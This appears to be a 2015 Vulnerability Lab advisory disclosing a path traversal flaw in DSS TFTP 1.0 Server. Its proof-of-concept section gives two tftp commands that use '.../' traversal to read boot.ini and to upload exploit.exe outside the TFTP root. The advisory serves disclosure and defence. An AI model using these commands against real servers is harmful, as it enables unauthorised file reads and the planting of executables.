DSS TFTP 1.0 Server - Path Traversal Vulnerability

[Vulnerability Lab <research () vulnerability-lab com>]

Document Title:
===============
DSS TFTP 1.0 Server - Path Traversal Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1440


Release Date:
=============
2015-02-26


Vulnerability Laboratory ID (VL-ID):
====================================
1440


Common Vulnerability Scoring System:
====================================
6.2


Product & Service Introduction:
===============================
DSS TFTP 1.0 Server is a simple TFTP server that allows basic file transfers.

(Download: http://www.kndata.com/downloads/ )


Abstract Advisory Information:
==============================
An independent vulnerability laboratory researcher discovered a path traversal vulnerability in the official DSS TFTP 
1.0 Server software.


Vulnerability Disclosure Timeline:
==================================
2015-02-26:     Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Technical Details & Description:
================================
DSS TFTP 1.0 Server is a simple TFTP server that allows user to download/upload files through the TFTP service from/to 
specified tftp root directory. 
However, application is vulnerable to path traversal that enables attacker to download/upload files outside the tftp 
root directory.


Proof of Concept (PoC):
=======================
The vulnerability can be exploited by remote attackers without user interaction or privileged application user account.
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below 
to continue.

GET file from server
tftp -i 192.168.56.101 GET .../boot.ini

PUT file outside the tftp root directory
tftp -i 192.168.56.101 PUT exploit.exe .../exploit.exe


Security Risk:
==============
The security risk of the path traversal software vulnerability is estimated as high. (CVSS 6.2)


Credits & Authors:
==================
lucyoa


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all 
warranties, either expressed 
or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or 
its suppliers are not liable 
in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special 
damages, even if Vulnerability-Lab 
or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or 
limitation of liability for 
consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody 
to break any vendor licenses, 
policies, deface websites, hack into databases or trade with fraud/stolen material.

Domains:    www.vulnerability-lab.com           - www.vuln-lab.com                                      - 
www.evolution-sec.com
Contact:    admin () vulnerability-lab com      - research () vulnerability-lab com                     - admin () 
evolution-sec com
Section:    magazine.vulnerability-db.com       - vulnerability-lab.com/contact.php                     - 
evolution-sec.com/contact
Social:     twitter.com/#!/vuln_lab             - facebook.com/VulnerabilityLab                         - 
youtube.com/user/vulnerability0lab
Feeds:      vulnerability-lab.com/rss/rss.php   - vulnerability-lab.com/rss/rss_upcoming.php            - 
vulnerability-lab.com/rss/rss_news.php
Programs:   vulnerability-lab.com/submit.php    - vulnerability-lab.com/list-of-bug-bounty-programs.php - 
vulnerability-lab.com/register/

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability 
Laboratory. Permission to 
electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other 
media, are reserved by 
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other 
information on this website 
is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit 
our material contact 
(admin () vulnerability-lab com or research () vulnerability-lab com) to get a permission.

                                Copyright © 2015 | Vulnerability Laboratory - [Evolution Security GmbH]™

-- 
VULNERABILITY LABORATORY - RESEARCH TEAM
SERVICE: www.vulnerability-lab.com
CONTACT: research () vulnerability-lab com
PGP KEY: http://www.vulnerability-lab.com/keys/admin () vulnerability-lab com%280x198E9928%29.txt